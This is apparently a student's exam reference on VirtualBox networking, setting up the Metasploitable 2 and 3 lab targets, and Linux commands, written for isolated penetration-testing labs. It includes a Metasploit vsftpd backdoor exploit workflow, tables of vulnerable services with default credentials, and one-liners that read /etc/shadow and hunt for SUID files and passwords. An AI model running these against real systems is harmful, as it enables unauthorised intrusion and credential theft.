

CYBERSECURITY

Open Book Exam Reference

Preparation Files — Module 1

Topics Covered:

- Virtual Networking (VirtualBox Chapter 6)
 - Metasploitable 2
- Metasploitable 3 & Setup Guide
- Linux Command Line Essentials
 - Kali Linux inside VirtualBox

Use Ctrl+F to search any keyword, term, or command.

SECTION 1: VIRTUAL NETWORKING (VirtualBox)

SECTION SUMMARY

- VirtualBox provides up to 8 virtual NICs per VM, each configurable with a hardware type and a networking mode.
- Hardware types range from AMD PCNet (default, broadest compatibility) to paravirtualized virtio-net (best performance).
- Six main networking modes: NAT (default, internet access, isolated), NAT Network (like NAT but VMs can talk to each other), Bridged (full LAN presence), Internal (VM-to-VM only, host invisible), Host-Only (VM+host, no internet), Cloud (connects to Oracle Cloud).
- NAT is the simplest; VMs get IPs in 10.0.2.0/24, reach internet via host, invisible from outside unless port forwarding is configured.
- Bridged gives VMs a real IP on the physical network — fully visible, full internet, host can sniff traffic.
- Internal networking hides traffic even from the host — best for private VM-to-VM labs.
- Host-only creates a virtual loopback on the host; default IP range 192.168.56.0/21 on Linux/macOS.
- Performance ranking: virtio-net > Intel PRO/1000 > PCNet. Attachment speed: Internal ≈ Bridged ≈ Host-Only >> NAT (slowest).
- VBoxManage is the CLI tool for all networking config; NAT port forwarding, NAT networks, bandwidth groups, and promiscuous mode are all set through it.

This section covers Chapter 6 of the VirtualBox documentation — the complete virtual networking system used by Oracle VM VirtualBox. Understanding these modes is essential for setting up penetration testing environments where VMs need to communicate with each other, with the host, or with external networks.

1.1 What is Virtual Networking?

VirtualBox provides up to 8 virtual PCI Ethernet cards for each virtual machine. For each card you can independently choose: (1) the hardware type that is emulated, and (2) the networking mode (how the card connects to the real world). Four cards can be configured via the VirtualBox Manager GUI; all eight can be configured via the command-line tool VBoxManage.

1.2 Virtual Networking Hardware Types

VirtualBox can emulate several different network adapter types. Choosing the right one affects compatibility and performance:

Adapter	Notes / Use Case
AMD PCNet PCI II (Am79C970A)	Older adapter. Broad compatibility but low performance.
AMD PCNet FAST III (Am79C973)	DEFAULT in VirtualBox. Supported by nearly all OSes and GNU GRUB bootloader. Use when in doubt.

Intel PRO/1000 MT Desktop (82540EM)	Works with Windows Vista and later. Most common choice for modern Windows guests.
Intel PRO/1000 T Server (82543GC)	Recognized by Windows XP guests without extra driver installation.
Intel PRO/1000 MT Server (82545EM)	Facilitates OVF imports from other platforms (VMware, Hyper-V, etc.).
Paravirtualized (virtio-net)	BEST PERFORMANCE. Does not emulate real hardware — uses a software interface agreed on by host and guest. Requires virtio drivers in the guest. Available for Linux 2.6.25+ and Windows (drivers from KVM project).

KEY EXAM POINT — virtio-net

The paravirtualized adapter (virtio-net) gives the best performance because it skips hardware emulation entirely. It uses the industry-standard virtio networking drivers from the open-source KVM project. It requires the guest OS to have virtio drivers installed. Available for Linux 2.6.25+ and Windows 2000/XP/Vista.

Jumbo Frames

VirtualBox has limited support for jumbo frames (packets >1500 bytes). Only works with Intel card virtualization + bridged networking. Not supported with AMD networking devices — jumbo packets will be silently dropped. Guests trying to use this will see it as packet loss.

1.3 Networking Modes Overview

This is the most important part of virtual networking. Each mode determines how a VM communicates with the outside world. The table below summarizes connectivity for each mode:

Mode	VM→Host	Host→VM	VM↔VM	VM→Net	Net→VM
Host-Only	Yes	Yes	Yes	No	No
Internal	No	No	Yes	No	No
Bridged	Yes	Yes	Yes	Yes	Yes
NAT	Yes	Port Fwd	No	Yes	Port Fwd
NAT Service	Yes	Port Fwd	Yes	Yes	Port Fwd

Mode Descriptions at a Glance

- **Not Attached:** VirtualBox reports a NIC is present but no cable is plugged in. Useful for simulating a disconnected network interface.
- **NAT (Network Address Translation):** The default mode. VM can reach the internet through the host but is invisible from outside. Like a home router.
- **NAT Network (NAT Service):** Like NAT but multiple VMs share a network and can talk to each other. Still invisible from outside.

- **Bridged:** VM gets its own IP on the physical network. Fully visible. Like plugging a real cable into your router.
- **Internal Networking:** VMs on the same host on the same named internal network can talk to each other. Host cannot see this traffic.
- **Host-Only:** VMs can talk to each other and the host. No internet access. Useful for isolated lab environments.
- **Cloud Network:** Connects a local VM to a subnet on Oracle Cloud Infrastructure.
- **Generic (UDP Tunnel / VDE):** Rare modes. UDP Tunnel connects VMs on different physical hosts. VDE uses Virtual Distributed Ethernet.

1.4 NAT Mode — Deep Dive

NAT is the default mode. Understanding it thoroughly is critical for exam questions about VM isolation and connectivity.

How NAT Works

The VirtualBox NAT engine acts as a router between the VM and the host. When the VM sends a network packet, the NAT engine intercepts it, re-sends it from the host's IP address, waits for a reply, and then forwards the reply back to the VM. From the perspective of external machines, all traffic appears to come from the host.

Concept	Detail
VM's IP Address	Assigned by VirtualBox's built-in DHCP server. First adapter uses 10.0.2.0/24, second uses 10.0.3.0/24, and so on.
Host's loopback address	Accessible from the VM as 10.0.2.2. Useful for connecting a VM to a database running on the host.
Default gateway for VM	10.0.2.2 (the NAT engine itself).
DNS	10.0.2.3 — provided by the built-in DHCP server.
Internet access from VM	YES — outbound connections work normally.
Inbound connections to VM	NOT possible unless Port Forwarding is configured.
VM-to-VM communication	NOT possible in standard NAT mode. Use NAT Network or other modes.
Security	Highest isolation — VM cannot be reached from outside by default.

NAT Port Forwarding

To make a service running inside a NAT VM accessible from outside, you configure Port Forwarding. VirtualBox listens on a host port and redirects traffic to a guest port.

GUI method: VM Settings > Network > Advanced > Port Forwarding

Command-line method (VBoxManage):

```
VBoxManage modifyvm "VM name" --nat-pf1 "guestssh,tcp,,2222,,22"
```

This forwards all TCP traffic arriving on host port 2222 to port 22 inside the guest (SSH). The format is:

```
|name, protocol, host-IP, host-port, guest-IP, guest-port
```

To remove the rule:

```
VBoxManage modifyvm "VM name" --natpf1 delete "guestssh"
```

If the guest uses a static IP (not DHCP), you must also specify the guest IP:

```
VBoxManage modifyvm "VM name" --natpf1 "guestssh,tcp,,2222,10.0.2.19,22"
```

To restrict forwarding to a specific host interface (e.g., localhost only):

```
VBoxManage modifyvm "VM name" --natpf1 "guestssh,tcp,127.0.0.1,2222,,22"
```

NAT Limitations

- **ICMP limitations:** ping usually works, but traceroute and other ICMP-based tools may not work reliably.
- **UDP broadcasts not reliable:** Guest only listens briefly after sending UDP data. NetBIOS name resolution by broadcast does not always work, but WINS works.
- **Some protocols blocked:** Only TCP and UDP are supported. GRE is not supported, meaning PPTP VPNs from Microsoft do not work.
- **Ports below 1024 on UNIX hosts:** On Linux, macOS, and Solaris hosts, port forwarding to host ports <1024 requires root. If configured without root, the VM will refuse to start.
- **NFS issues:** NFS servers often reject connections from non-privileged ports, which NAT uses.

1.5 NAT Network (NAT Service) — Deep Dive

NAT Network is like a home router for a group of VMs. Unlike regular NAT, multiple VMs in the same NAT network CAN communicate with each other, while still being isolated from the outside world.

Creating a NAT Network

```
VBoxManage natnetwork add --netname natnet1 --network "192.168.15.0/24" --enable
```

This creates a NAT network called natnet1 on subnet 192.168.15.0/24. By default, the gateway is at 192.168.15.1.

Add DHCP server:

```
VBoxManage natnetwork add --netname natnet1 --network "192.168.15.0/24" --enable --dhcp on
```

Enable/disable DHCP on existing network:

```
VBoxManage natnetwork modify --netname natnet1 --dhcp on
```

```
VBoxManage natnetwork modify --netname natnet1 --dhcp off
```

Start / stop / remove:

```
VBoxManage natnetwork start --netname natnet1
VBoxManage natnetwork stop --netname natnet1
VBoxManage natnetwork remove --netname natnet1
```

Port forwarding in NAT Network (IPv4 example — forward host TCP port 1022 to guest 192.168.15.5:22):

```
VBoxManage natnetwork modify --netname natnet1 --port-forward-4
"ssh:tcp:[]:1022:[192.168.15.5]:22"
VBoxManage natnetwork modify --netname natnet1 --port-forward-4 delete ssh
```

List all NAT networks:

```
VBoxManage list natnetworks
```

NAT vs NAT Network

Regular NAT: one VM, isolated, cannot talk to other VMs. NAT Network: multiple VMs share a network, can talk to each other, still cannot be reached from outside without port forwarding. Both give the VM access to the host loopback at 10.0.2.2.

1.6 Bridged Networking — Deep Dive

Bridged networking makes the VM appear as a full, independent machine on the physical network. VirtualBox uses a 'net filter driver' on the host to intercept and inject packets at the physical network adapter level.

Feature	Detail
VM gets its own IP	YES — directly from the real DHCP server on your network (router).
Visible to other machines	YES — fully visible on the LAN.
Internet access	YES — direct, no translation.
VM-to-VM communication	YES.
Host-to-VM	YES — using the VM's real LAN IP.
Setup required	Select a host physical adapter in the Bridged Network settings.
Wireless limitation	Most wireless adapters do not support promiscuous mode. VirtualBox must replace source MAC addresses in outgoing packets and watch ARP/DHCP to track VM IPs.
Protocol support on WiFi	Only IPv4 and IPv6 over wireless (on macOS and Linux). For IPX or other protocols, use a wired adapter.

Security	All traffic flows through a physical interface — can be sniffed with Wireshark on the host.
-----------------	---

To enable bridged networking: VM Settings > Network > Attached To: Bridged Network, then select host adapter.

1.7 Internal Networking — Deep Dive

Internal networking creates a completely private network that only VMs on the same host can join. The host cannot see or participate in this traffic, making it more secure than bridged networking.

Feature	Detail
Host can see traffic	NO — fully private between VMs.
Internet access	NO.
VM-to-VM	YES — if they share the same internal network name.
Network identification	By name only (a string). All VMs on the same host using the same name are connected.
Automatic creation	Internal networks are created automatically when first used — no central configuration needed.
Switch behavior	VirtualBox support driver acts as a full Ethernet switch, supporting broadcast, multicast, and promiscuous mode.
Linux security	By default, only VMs running under the same user ID can join an internal network.

Configure via GUI: VM Settings > Network > Attached To: Internal Network, then enter a name.

Configure via command line:

```
VBoxManage modifyvm "VM name" --nic1 intnet
VBoxManage modifyvm "VM name" --intnet1 "my_internal_net"
```

1.8 Host-Only Networking — Deep Dive

Host-only networking is a hybrid between bridged and internal. VMs can communicate with each other and with the host, but cannot reach the internet or external network. A virtual loopback interface is created on the host.

Feature	Detail
VM-to-host	YES.
Host-to-VM	YES.
VM-to-VM	YES.

Internet access	NO.
Physical NIC required	NO — uses a virtual interface created by VirtualBox.
Host can see traffic	YES — traffic on the virtual loopback interface is visible.
IP range (Linux/macOS)	Default: 192.168.56.0/21. Custom ranges need /etc/vbox/networks.conf.
Max interfaces (Linux/macOS)	128 host-only interfaces.

Typical use case: web server VM + database VM in host-only network. The database is protected from the outside world while the web server can additionally use bridged networking to face the internet.

Enable via GUI: VM Settings > Network > Attached To: Host-Only Adapter.

Enable via command line:

```
VBoxManage modifyvm vmname --nic1 hostonly
```

Custom IP ranges for host-only (Linux/macOS/Solaris)

By default VirtualBox only allows 192.168.56.0/21 for host-only adapters. To allow other ranges, create /etc/vbox/networks.conf. Example to allow 10.0.0.0/8 and 192.168.0.0/16: * 10.0.0.0/8 192.168.0.0/16 To allow everything: * 0.0.0.0/0 ::/0

1.9 UDP Tunnel Networking

UDP Tunnel allows two VMs on different physical hosts to communicate by encapsulating Ethernet frames inside UDP/IP datagrams. It crosses any existing network infrastructure.

Parameters: Source UDP port (host listens here), Destination address (target host IP), Destination UDP port.

Important: when connecting two VMs on two different hosts, their source and destination UDP ports must be swapped.

Example (Host 1 = 10.0.0.1, Host 2 = 10.0.0.2):

```
VBoxManage modifyvm "VM 01 on host 1" --nic1 generic
VBoxManage modifyvm "VM 01 on host 1" --nic-generic-drv1 UDPTunnel
VBoxManage modifyvm "VM 01 on host 1" --nic-property1 dest=10.0.0.2
VBoxManage modifyvm "VM 01 on host 1" --nic-property1 sport=10001
VBoxManage modifyvm "VM 01 on host 1" --nic-property1 dport=10002
```

```
VBoxManage modifyvm "VM 02 on host 2" --nic1 generic
VBoxManage modifyvm "VM 02 on host 2" --nic-generic-drv1 UDPTunnel
VBoxManage modifyvm "VM 02 on host 2" --nic-property1 dest=10.0.0.1
VBoxManage modifyvm "VM 02 on host 2" --nic-property1 sport=10002
VBoxManage modifyvm "VM 02 on host 2" --nic-property1 dport=10001
```


Note: destination address 127.0.0.1 on both VMs simulates internal networking but lets the host see traffic.

1.10 VDE Networking (Virtual Distributed Ethernet)

VDE is a flexible virtual network infrastructure that spans multiple hosts. It supports L2/L3 switching, spanning-tree protocol, VLANs, and WAN emulation. Developed by Renzo Davoli at the University of Bologna. Available on Linux and FreeBSD hosts only — requires VDE software and libvdeplug.so.

Basic setup:

```
vde_switch -s /tmp/switch1
VBoxManage modifyvm "VM name" --nic1 generic
VBoxManage modifyvm "VM name" --nic-generic-drvt1 VDE
VBoxManage modifyvm "VM name" --nic-property1 network=/tmp/switch1
```

Connect to specific switch port n:

```
VBoxManage modifyvm "VM name" --nic-property1 network=/tmp/switch1[n]
```

1.11 Bandwidth Limiting

VirtualBox can limit maximum bandwidth used by network transmission. Multiple adapters can share a bandwidth group. Note: bandwidth shaping only works on the TRANSMIT direction — received traffic is not limited.

Create a group called 'Limit' at 20 Mbps and assign it to adapters 1 and 2:

```
VBoxManage bandwidthctl "VM name" add Limit --type network --limit 20m
VBoxManage modifyvm "VM name" --nicbandwidthgroup1 Limit
VBoxManage modifyvm "VM name" --nicbandwidthgroup2 Limit
```

Change limit while VM is running (to 100 Kbps):

```
VBoxManage bandwidthctl "VM name" set Limit --limit 100k
```

Disable shaping for adapter 1:

```
VBoxManage modifyvm "VM name" --nicbandwidthgroup1 none
```

1.12 Network Performance Tips

For the exam, knowing the performance ranking of adapter/attachment combinations is useful:

Priority	Recommendation
1 — Best adapter	virtio-net (paravirtualized) — uses segmentation and checksum offloading.

2 — Second best	Intel PRO/1000 family — also supports segmentation offloading.
3 — Fallback	PCNet family (AMD) — no segmentation offloading.
Best attachment	Bridged, Internal, or Host-Only — nearly identical speed. Internal is slightly faster (packets never reach host network stack).
Slowest attachment	NAT — slowest and most secure due to address translation overhead.
Windows XP note	Neither virtio nor Intel PRO/1000 drivers for XP support segmentation offloading. XP guests will always be slower (see MS KB 842264).
CPU count	More CPUs do NOT improve network performance and may hurt it due to concurrency.

Useful command to check/modify segmentation offloading on Linux guests:

```
ethtool <interface>
```

Promiscuous mode policies (for Wireshark analysis):

- **deny (default):** Hide traffic not destined for this VM's adapter.
- **allow-vms:** Hide host traffic but show traffic between VMs.
- **allow-all:** Show all traffic — full packet capture.

Promiscuous mode availability

Promiscuous mode analysis with a tool like Wireshark is only possible on: NAT Network, Bridged Adapter, Internal Network, and Host-Only Adapter. Regular NAT does not support it.

1.13 Network Manager (VirtualBox GUI)

Network Manager (File > Tools > Network Manager) lets you create and configure networks without using the command line. It manages three types: Host-Only Networks, NAT Networks, and Cloud Networks.

Network Manager Tab	What You Can Do
Host-Only Networks	Create/remove host-only networks. Configure the adapter IP and DHCP server settings.
NAT Networks	Create/remove NAT networks. Configure network address, mask, and port forwarding rules.
Cloud Networks	Create/remove cloud networks. Set Provider (Oracle Cloud Infrastructure), Profile, and OCID.

SECTION 2: METASPLOITABLE 2

SECTION SUMMARY

- Metasploitable 2 is an intentionally vulnerable Ubuntu Linux VM made by Rapid7 for penetration testing practice.
- Download as a ~800 MB ZIP from Rapid7 or SourceForge; unzip and open the .vmx or .vmdk in VMware/VirtualBox.
- Default credentials: msfadmin / msfadmin. Find IP with ifconfig — note the inet address under eth0.
- Ships with dozens of deliberately vulnerable services: vsftpd 2.3.4 backdoor, Samba usermap_script, UnrealIRCd backdoor, port 1524 root shell, weak MySQL, DVWA, Mutillidae, and more.
- For safe lab use, place Metasploitable 2 on a Host-Only or Internal network — never expose it to the internet.
- Use the Metasploitable 2 IP as RHOST in Metasploit; pair with Kali Linux as the attacker VM on the same network.

Metasploitable 2 is an intentionally vulnerable Ubuntu Linux virtual machine created by Rapid7 specifically for penetration testing practice. It is the standard target machine used with the Metasploit Framework in educational lab environments.

2.1 What is Metasploitable 2?

Property	Value
Type	Intentionally vulnerable Ubuntu Linux VM
Purpose	Penetration testing practice and security research
Created by	Rapid7 (makers of Metasploit Framework)
Compatible with	VMware Player, VMware Workstation, VMware Server, VirtualBox, and other common virtualization platforms
Download size	~800 MB compressed
Default login	msfadmin / msfadmin
Download URL 1	https://information.rapid7.com/metasploitable-download.html
Download URL 2	https://sourceforge.net/projects/metasploitable/

2.2 Setting Up Metasploitable 2

Step-by-Step Setup

- Download the compressed file from one of the URLs above. The file is ~800 MB and can take time on a slow connection.
- Unzip the downloaded file. The contents will include a .vmdk (virtual disk) file and a .vmx (configuration) file.

- Open VMware Player (or Workstation / Server). Use 'Open a Virtual Machine' and navigate to the .vmx file. For VirtualBox users, create a new VM and attach the .vmdk as an existing virtual disk.
- Power on the VM.
- Log in with credentials: msfadmin / msfadmin
- Run ifconfig to identify the VM's IP address for use in testing.

Identifying the IP Address

After logging in, run:

```
msfadmin@metasploitable:~$ ifconfig
```

This returns the network configuration for eth0. Note down the inet address — this is the IP you will use as the target in Metasploit and other tools.

2.3 Architecture and Purpose

Metasploitable 2 ships with a large number of deliberately vulnerable services and configurations. Some of the notable ones include:

Service / Component	Notable Vulnerability
vsftpd 2.3.4	Backdoor allowing unauthenticated remote code execution (famous exploit).
UnrealIRCd 3.2.8.1	Backdoor in the binary — connects back to attacker on specific input.
Samba 3.0.20	Username map script command execution (usermap_script exploit).
OpenSSH	Misconfigured, older version. Used as foothold.
Apache Tomcat	Weak credentials on manager app. Allows WAR file deployment for code exec.
MySQL	Root account with no password. Direct access to databases.
PostgreSQL	Weak credentials.
Twiki	Vulnerable wiki application. Command injection.
DVWA	Damn Vulnerable Web Application — web attack practice.
Mutillidae	Another vulnerable web app included for web pen-test practice.
PHP CGI	Remote code execution vulnerability.
Ingreslock (port 1524)	Root shell bound directly to port 1524 — instant root access.
Distcc	Remote code execution via compiler daemon.
NFS	World-readable shares.
Telnet/FTP/rlogin	Cleartext protocols enabled for practice.

Exam Tip — Metasploitable 2 Network Setup

For pen-testing labs, Metasploitable 2 should be placed on a host-only or internal network along with your Kali Linux attacker VM. This ensures the vulnerable machine is NOT accessible from the internet or your broader LAN. Use the IP from ifconfig as the RHOST in Metasploit.

2.4 Connecting Metasploit Framework to Metasploitable 2

The typical lab setup:

- Attacker machine: Kali Linux (with Metasploit Framework installed)
- Target machine: Metasploitable 2
- Both VMs on the same Host-Only or Internal VirtualBox network

Basic Metasploit workflow against Metasploitable 2:

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <metasploitable-ip>
run
```

To scan Metasploitable 2 with nmap from Kali (run from Kali terminal):

```
nmap -sV -O <metasploitable-ip>
```

SECTION 3: METASPLOITABLE 3

SECTION SUMMARY

- Metasploitable 3 is the next-gen vulnerable VM from Rapid7 — available as Ubuntu 14.04 (ub1404) or Windows Server 2008 R2 (win2k8).
- Unlike Metasploitable 2 (a static disk image), Metasploitable 3 is provisioned via Vagrant — it must be built, not just downloaded.
- Default credentials for both flavors: vagrant / vagrant.
- GitHub repo: <https://github.com/rapid7/metasploitable3>
- Key Vagrant commands: vagrant up win2k8 (start Windows only), vagrant halt (safe stop), vagrant destroy (DELETES the VM — rebuild takes 40-50 min).
- Ubuntu version targets modern Linux vulnerabilities (Struts, Elasticsearch, Docker). Windows version includes MS17-010 (EternalBlue), Jenkins RCE, MSSQL, and more.
- Windows VirtualBox login trick: press Right CTRL + DELETE (not CTRL+ALT+DELETE) to get the login prompt.

Metasploitable 3 is the next-generation intentionally vulnerable VM from Rapid7. Unlike Metasploitable 2 (a static disk image), Metasploitable 3 is built from scratch using Vagrant and Packer, allowing it to be customized and rebuilt. It comes in two flavors: Ubuntu Linux (ub1404) and Windows Server 2008 R2 (win2k8).

3.1 What is Metasploitable 3?

Property	Value
Type	Intentionally vulnerable VM — available as Ubuntu 14.04 or Windows Server 2008 R2
Purpose	Penetration testing practice, security research, training for certifications like eJPT
Created by	Rapid7
Compatible with	VMware, VirtualBox, and other common platforms
Setup method	Uses Vagrant for easy setup (not a simple .vmdk download like Metasploitable 2)
Default credentials	vagrant / vagrant
GitHub URL	https://github.com/rapid7/metasploitable3
Key difference from v2	Must be built/provisioned via Vagrant. More complex setup. More modern vulnerabilities.

3.2 Key Differences: Metasploitable 2 vs Metasploitable 3

Feature	Metasploitable 2	Metasploitable 3
---------	------------------	------------------

OS	Ubuntu Linux (fixed)	Ubuntu 14.04 OR Windows Server 2008 R2
Setup method	Download ZIP, unzip, open in VMware/VBox	Use Vagrant + Vagrantfile
Login	msfadmin / msfadmin	vagrant / vagrant
Download size	~800 MB	Downloaded + built via Vagrant (~40-50 min)
Customizability	Not customizable	Highly customizable (Vagrantfile)
Modern vulnerabilities	Older set	Broader, more modern vulnerability set
GitHub	No	Yes — https://github.com/rapid7/metasploitable3
Vagrant needed	No	YES

3.3 What is Vagrant?

Vagrant is a tool for building and managing virtual machine environments. It uses a file called a Vagrantfile that describes the VM configuration (OS, memory, network, provisioning scripts). Vagrant automates downloading the base image and configuring it — so Metasploitable 3 is fully reproducible.

Vagrant Concept	Explanation
Vagrantfile	Configuration file (Ruby DSL) that defines all VM settings: OS box, hostname, memory, networking, username/password, provisioner.
Box	A base VM image. Metasploitable 3 uses rapid7/metasploitable3-ub1404 (Ubuntu) or rapid7/metasploitable3-win2k8 (Windows).
vagrant up	Download (if needed) and start the VM. Also runs provisioners.
vagrant halt	Gracefully stop the VM. Preserves its state.
vagrant destroy	Completely delete the VM. Must rebuild from scratch to use again.
vagrant status	Check if the VM is running, halted, or not created.
vagrant ssh	SSH into a running Linux VM.
vagrant reload	Restart the VM and re-apply the Vagrantfile.
winrm communicator	Used for Windows VMs instead of SSH (see win2k8 config).

3.4 Powering On / Off Metasploitable 3

Starting the VM

```
cd metasploitable3-workspace
vagrant up
```

To start only the Windows machine (win2k8):

```
vagrant up win2k8
```

To start only the Ubuntu machine (ub1404):

```
vagrant up ub1404
```

Checking Status

```
cd metasploitable3-workspace
vagrant status
```

Stopping the VM (safe — preserves state)

```
vagrant halt
```

WARNING: Do NOT use vagrant destroy unless you want to completely remove the VM. Rebuilding takes 40-50 minutes.

3.5 Logging In to Metasploitable 3

Version	Credentials
Ubuntu (ub1404)	vagrant / vagrant (via SSH or terminal)
Windows Server 2008 (win2k8)	vagrant / vagrant (via Windows login screen)

For the Windows version: the login screen says 'Press CTRL + ALT + DELETE', but inside VirtualBox this key combination is captured by the host OS. Instead, press:

Windows Metasploitable 3 Login Key Combo

Right CTRL + DELETE (not CTRL+ALT+DELETE) to get the Windows login prompt in VirtualBox, then enter username: vagrant and password: vagrant.

3.6 Identifying the IP Address

After logging in, run the appropriate command to find the VM's IP:

OS	Command
Linux (Ubuntu)	ifconfig — look for inet address on eth0
Windows	ipconfig — look for IPv4 Address

```
msfadmin@metasploitable:~$ ifconfig
```

Note the inet address from eth0. This is your target IP for Metasploit (RHOST).

3.7 Vagrantfile Structure and Configuration

The Vagrantfile for Metasploitable 3 defines two machines. Understanding this structure is important because the course references it directly:

Ubuntu (ub1404) Configuration

```
config.vm.define "ub1404" do |ub1404|
  ub1404.vm.box = "rapid7/metasploitable3-ub1404"
  ub1404.vm.hostname = "metasploitable3-ub1404"
  config.ssh.username = 'vagrant'
  config.ssh.password = 'vagrant'
  ub1404.vm.network "private_network", ip: '172.28.128.3'
  ub1404.vm.provider "virtualbox" do |v|
    v.name = "Metasploitable3-ub1404"
    v.memory = 2048
  end
end
```

Windows Server 2008 (win2k8) Configuration

```
config.vm.define "win2k8" do |win2k8|
  win2k8.vm.box = "rapid7/metasploitable3-win2k8"
  win2k8.vm.hostname = "metasploitable3-win2k8"
  win2k8.vm.communicator = "winrm"
  win2k8.winrm.retry_limit = 60
  win2k8.winrm.retry_delay = 10
end
```

Exam Tip — vagrant up win2k8 vs vagrant up

Running plain 'vagrant up' will start BOTH the Ubuntu and Windows machines, which takes a very long time. Always specify the machine name: vagrant up win2k8 or vagrant up ub1404 to start only what you need.

3.8 Metasploitable 3 Vulnerable Services

Metasploitable 3 includes a wide range of intentionally vulnerable services targeting both Linux and Windows attack scenarios:

Ubuntu (ub1404) — Notable Services

Service	Vulnerability / Notes
Apache Struts	Remote code execution via HTTP headers.
Apache Tomcat	Weak manager credentials, WAR file deployment.
ProFTPD	Backdoor in specific versions.

Samba	Multiple exploitable vulnerabilities (same family as Metasploitable 2).
Docker	Misconfigured Docker daemon allowing privilege escalation.
Elasticsearch	Unauthenticated API access — data exfiltration and code execution.
MantisBT	Vulnerable bug tracker — SQL injection, XSS.
OpenSSH	Older version with various weaknesses.
MySQL	Accessible with weak/no credentials.
Drupal	Multiple CVEs depending on version.

Windows Server 2008 (win2k8) — Notable Services

Service	Vulnerability / Notes
MS17-010 (EternalBlue)	SMB vulnerability used by WannaCry ransomware. Major exploit.
Jenkins	Unauthenticated remote code execution via Groovy console.
IIS with WebDAV	File upload and code execution via WebDAV.
MS SQL Server	Default/weak SA password. xp_cmdshell for command execution.
WinRM	Windows Remote Management — used by Vagrant and potentially exploitable.
JMX	Java Management Extensions — exposed MBeans for code execution.
Apache HTTP	Various misconfigurations.
FTP	FileZilla FTP server with weak credentials.
Wordpress	Vulnerable plugin or weak admin credentials.

SECTION 4: HOW TO SET UP METASPLOITABLE 3 IN VIRTUALBOX

SECTION SUMMARY

- Prerequisites: VirtualBox installed, virtualization (Intel VT-x / AMD-V) enabled in BIOS, and sufficient disk space.
- Step 1 — Install Vagrant: `sudo apt install vagrant` (Ubuntu/Debian) or download from vagrantup.com.
- Step 2 — Get the Vagrantfile: `mkdir metasploitable3 && cd metasploitable3 && curl -O <GitHub raw URL>`.
- Step 3 — Start ONLY the desired machine: `vagrant up win2k8` (Windows) or `vagrant up ub1404` (Ubuntu). Avoid plain `vagrant up` to save time.
- First run downloads the box image and provisions it — expect 40-50 minutes. Subsequent starts are fast.
- After setup, open VirtualBox Manager, select the VM, click Show. Windows login: Right CTRL + DELETE, then `vagrant / vagrant`.
- Get target IP: `ifconfig` (Linux) or `ipconfig` (Windows). Use this IP as RHOST in Metasploit.
- Use `vagrant halt` to stop between sessions. Never `vagrant destroy` unless starting fresh is acceptable.

This section walks through the complete step-by-step process for setting up Metasploitable 3, specifically the Windows Server 2008 R2 (win2k8) version in VirtualBox. This is based on the course preparation material.

4.1 Prerequisites

- **VirtualBox installed:** Download from [virtualbox.org](https://www.virtualbox.org).
- **Virtualization enabled in BIOS/UEFI:** Intel VT-x or AMD-V must be enabled. Check in BIOS settings if VMs fail to start.
- **Sufficient disk space:** The Windows image is several GB. Vagrant will also cache box files.
- **Internet connection:** Required to download the Vagrant box (can take 40-50 minutes).

4.2 Step 1 — Install Vagrant

Vagrant is the only additional software required beyond VirtualBox:

On Ubuntu/Debian:

```
sudo apt update
sudo apt install vagrant
```

On Windows or macOS: download the installer from <https://www.vagrantup.com>

What is Vagrant?

Vagrant is a CLI tool that automates the creation and configuration of VMs. It reads a Vagrantfile and provisions the VM using the specified base box (OS image). For Metasploitable 3, Vagrant downloads the pre-built vulnerable OS and sets it up for you.

4.3 Step 2 — Download the Vagrantfile

Create a dedicated working directory, then download the Vagrantfile from Rapid7's GitHub:

```
mkdir metasploitable3
cd metasploitable3
curl -O
https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile
```

The Vagrantfile defines both ub1404 and win2k8 machines. It does not contain the VM image itself — that is downloaded by Vagrant when you run vagrant up.

4.4 Step 3 — Spin Up the VM

To start ONLY the Windows Server 2008 machine (recommended to avoid waiting for both):

```
vagrant up win2k8
```

To start ONLY the Ubuntu machine:

```
vagrant up ub1404
```

To start both (NOT recommended unless you have time and resources):

```
vagrant up
```

This process will:

- Download the Vagrant box file from the internet (first run only, then cached).
- Create the VirtualBox VM automatically.
- Run provisioning scripts to configure vulnerable services.
- Take approximately 40-50 minutes on a typical internet connection.

4.5 Accessing the Machine After Setup

After vagrant up completes:

- Open VirtualBox Manager — you will see the new Metasploitable3 VM in the list.
- Click on the VM and click Show to open its window (or it may already be visible).
- For Windows: the screen shows 'Press CTRL + ALT + DELETE to log on'.
- Use Right CTRL + DELETE inside VirtualBox to trigger the Windows login prompt.
- Enter username: vagrant and password: vagrant.

4.6 Managing the VM After Setup

Command	Effect
vagrant status	Check if VM is running, halted, or not created.
vagrant halt	Safely stop the VM. State is preserved. Fast to restart.
vagrant up win2k8	Start the VM again after halting. Much faster than first run.
vagrant destroy	PERMANENTLY DELETE the VM. Requires full rebuild (40-50 min).
vagrant reload	Restart the VM and re-apply Vagrantfile configuration.
vagrant ssh	SSH into a Linux Metasploitable 3 VM directly from terminal.

IMPORTANT — halt vs destroy

Use 'vagrant halt' to stop the VM between sessions — this is safe and preserves everything. Only use 'vagrant destroy' if you want to start completely fresh. Rebuilding takes a long time.

4.7 Getting the Target IP for Testing

Once logged in to the VM, find its IP address:

Linux (ub1404):

```
|ifconfig
```

Look for inet address under eth0 or eth1.

Windows (win2k8):

```
|ipconfig
```

Look for IPv4 Address under the relevant adapter.

This IP becomes the target (RHOST) for your Metasploit modules and other tools.

SECTION 5: LINUX COMMAND LINE

SECTION SUMMARY

- The Linux shell (bash) interprets typed commands. Prompt shows user@host:dir\$; # means root.
- Navigation: pwd (where am I), ls (list), cd (change dir), find (search files), which (find command path).
- File operations: touch, mkdir, cp, mv, rm -rf (dangerous!), cat, less, head, tail, stat, diff.
- Permissions: read(4) write(2) execute(1) for owner/group/others. chmod 755, chmod +x. chown user:group. SUID (4xxx) runs as file owner — critical for privilege escalation hunting.
- Users: whoami, id (show UID/groups), sudo -l (check sudo rights — exam-critical), su, /etc/passwd (users), /etc/shadow (hashes, root only).
- Processes: ps aux, top, kill -9 PID, lsof -i :80, netstat -tulnp / ss -tulnp (open ports).
- Networking: ifconfig / ip addr, ping, nmap, ssh, wget, curl, dig, arp -a.
- Text processing: grep -r -i -v -n, sed 's/old/new/g', awk -F: '{print \$1}', cut, sort, uniq -c.
- Redirection: > (overwrite), >> (append), 2>/dev/null (suppress errors), | (pipe), /dev/null (discard).
- Security one-liners: find / -perm -4000 (SUID), sudo -l, cat /etc/shadow, grep -r 'password' /var/www/.

